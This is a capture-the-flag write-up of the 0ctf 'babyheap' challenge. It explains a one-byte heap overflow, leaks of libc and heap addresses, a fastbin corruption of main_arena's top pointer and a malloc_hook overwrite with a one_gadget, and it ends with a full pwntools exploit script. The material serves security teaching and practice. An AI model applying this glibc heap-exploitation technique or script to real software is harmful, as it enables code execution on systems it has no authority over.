0ctf quals: babyheap Writeup

Solved by sherl0ck

For this challenge, we were given a 64-bit stripped and dynamically linked binary. The given libc was version 2.24, that has some checks that its predecessors did not have. Let’s start by looking at the mitigation’s enforced on the binary –

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

So almost all mitigations are present, but we will eventually see that it is due to PIE that we will get this exploit working!

Reversing

It’s a standard CTF style binary with allocate, update, view and delete functionality. The program initially maps a memory segment at a random address, to store the table of pointer (table) to the chunks in the heap. This table is basically an array of objects of the following structure –

struct node{
   int inUse;
   int size;
   char* ptr;
}

We can allocate a chunk of any size less than 88. The chunks are allocated using calloc so all existing data in the chunk is nulled out before use.

With the edit functionality, we can enter a size and the function reads in data to a chunk whose index is specified by the user.

The delete  function free’s a chunk whose index is given by the user, and then null’s out the pointer to that chunk in the table of array object’s

When we view a chunk, all data in that chunk is written out to stdout using the write function.

Vulnerability

In the update function, after taking size input from the user, the program checks if this is less than the saved size+1. Thus there is a clear one-byte overflow.

Memory Leaks

First, we will attempt to get a heap structure something like this-

chunk 1
—————–
chunk 2
—————–
chunk 3
—————–
chunk 4
—————–
top

Please note that for this exploit, I kept the sizes of all the chunks equal to one another.

Then use the one-byte overflow, while updating the data of chunk1, to edit the size of chunk 2. The new size should be a large one, larger than 0x80. Keep in mind that the 2 chunks following our fake chunk must have their prev_in_use bit set. For this exploit, I set the size of chunk 2 as the size(chunk2)+size(chunk3).

Now free chunk 2. It will appear to free() that chunk2 and chunk3 are a single large chunk and thus when freed, it is moved to the unsorted bin. Now allocate a size equal to the size of the old chunk2. This request will be satisfied from the unsorted bin and now the unsorted bin and chunk3 will overlap. Just view chunk3 to get the fd pointer of the unsorted bin, thus getting a successful libc leak.

After this let’s focus on getting the heap leak. We can use the scenario that we obtained above for this. Since the unsorted bin and chunk3 overlap, the next allocate request for a size equal to that of chunk3 will be done from the unsorted bin and thus we will have overlapping chunk’s. Let’s refer to the newly allocated chunk (with size=size(chunk3)) as chunk5. So chunk 5 and 3 are basically the same.

Now free a fastbin chunk, say chunk2 and then free chunk 5. So the freed chunk 5, will contain a pointer to the next chunk in the fastbin freelist, i.e chunk 2. But we already have a pointer to that in the table (chunk3 and chunk5 were same). So just view chunk3 to get a heap leak.

The Exploit

So the following were the possibilities that we had –

  1. House of Einherjar
  2. Fastbin corruption
  3. Unsorted bin attack

Since we have a one-byte overflow House of Einherjar is obvious. But because of PIE, House of Einherjar is impossible. Also, we can’t write anywhere other than the heap or stack. So this technique is ruled out here.

Using the overlapping chunks that we got for leaking heap, we have the option of fastbin corruption. Since we have two table entries pointing to the same chunk, we can free one and then use the other pointer to edit the fd, thus performing a fastbin corruption. But since we can’t allocate a chunk of size greater than 88, we can’t directly use fastbin corruption to land a chunk above malloc_hook.

My first thought was to use the unsorted bin attack to perform House of Orange. But the libc that was provided was version 2.24, and thus the vtable check in this version prevents us from doing a direct house of orange. I spent a lot of time trying to bypass the vatable check before I found a much simpler way to exploit this.

Here is a snippet from the structure of the main_arena, which is an object of malloc_state, as defined in malloc.c –


struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  .
  .
  .

};

So we see that mchunkptr top , which is the pointer to the top chunk, is directly below the fastbin freelist. Due to PIE, the heap address always starts with 0x55… or 0x56… Thus we can use this as size field for fastbin corruption target. Now if we allocate and free a  fastbin chunk (of any size, other than 0x50) it will be placed in the fastbin freelist.

So now we can use the higher 2 bytes of this address as size field and use fastbin dup to get a chunk allocated here. With this new chunk, we will be able to control mchunkptr top We can overwrite this to point to an address before malloc_hook. So now the new top chunk will be just before malloc_hook. So the next time we allocate a chunk, the request will be satisfied by the top chunk, which is above malloc_hook, and we will get write access into malloc_hook.

Now all that is left to do is to overwrite malloc_hook with one_gadget. I found that, when malloc_hook is called, the value at rsp+0x30 is null. Thus we can use this as the constraint and select the appropriate one_gadget.

So putting the exploit together –

  • Use the one-byte overflow to get overlapping chunks of size 0x50 (as described in the memory leaks part)
  • Allocate and free a chunk of any other size (say 0x60). This will place it in the fastbin list in the main_arena.
  • Free the overlapping chunk using one pointer and then use the other pointer to update the data in the free chunk, overwritting the fd pointer to point to the address in libc with size field as the higher 2 bytes.
  • Now allocate 2 chunks with size=0x50. The second chunk will be in the libc, in main_arena’s fastbin freelist.
  • Update this chunk to overwrite the pointer to the top chunk to point to an address before malloc_hook.
  • Allocate a chunk of any size. The chunk that is returned will contain malloc_hook, and we can edit it’s content to overwrite malloc_hook with one_gadget.
  •  Allocate a chunk of any size. This will trigger malloc_hook and the one_gadget will be called.

For some reason, the exploit only worked if the heap address started with 0x56. I am not sure why this was so. So I had to run the exploit many times till it worked. Anyway here is the exploit script –

from pwn import *
import sys

HOST='202.120.7.204'
PORT=127

if len(sys.argv)>1:
    r=remote(HOST,PORT)
else:
    r=process('./babyheap')

libc=ELF("./libc.so.6")

def menu(opt):
    r.sendlineafter("Command: ",str(opt))

def allocate(size):
    menu(1)
    r.sendlineafter("Size: ",str(size))

def update(idx,size,content,l=True):
    menu(2)
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Size: ",str(size))
    if l:
        r.sendlineafter("Content: ",content)
    else:
        r.sendafter("Content: ",content)

def free(idx):
    menu(3)
    r.sendlineafter("Index: ",str(idx))

def view(idx):
    menu(4)
    r.sendlineafter("Index: ",str(idx))

mainarena=0

def leak():
    allocate(72) #0
    allocate(72) #1
    allocate(72) #2
    allocate(72) #3
    update(0,73,"A"*72+"\xa1",l=False)
    free(1)
    allocate(72) #1
    view(2)

    r.recvuntil("Chunk[2]: ")
    leak=u64(r.recv(8))
    libc.address=leak-0x68-0x399af0
    mainarena=leak-0x58
    log.info("mainarena @ "+hex(mainarena))
    log.info("libc @ "+hex(libc.address))

    allocate(72) #4
    free(1)
    free(2)
    view(4)

    r.recvuntil("Chunk[4]: ")
    heap=u64(r.recv(8))-0x50
    log.info("heap @ "+hex(heap))
    return heap,mainarena

def exp(heap,mainarena):
    allocate(88)
    free(1)

    addr=mainarena+37
    newtop=mainarena-0x28
    one=libc.address+0x3f35a
    log.info("addr @ "+hex(addr))
    log.info("newtop @ "+hex(newtop))
    log.info("one @ "+hex(one))

    update(4,9,p64(addr)) # corrupt fd of free fastbin
    allocate(72) # 1
    allocate(72) # 2
    update(2,44,"\x00"*11+"\x00"*24+p64(newtop)) # overwrite the top chunk pointer
    allocate(56)
    update(5,17,"w"*8+p64(one)) # overwrite malloc_hook with one gadget
    allocate(22) # trigger malloc_hook

if __name__=='__main__':

    heap,mainarena=leak()
    exp(heap,mainarena)
    r.sendline("cat /home/babyheap/flag")
    r.interactive()

And on running it –

0ctf-babyheap

This was the only challenge that I was able to solve in this CTF and I found it really interesting. Hope you found the writeup useful!

2 thoughts on “0ctf quals: babyheap Writeup

Add yours

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: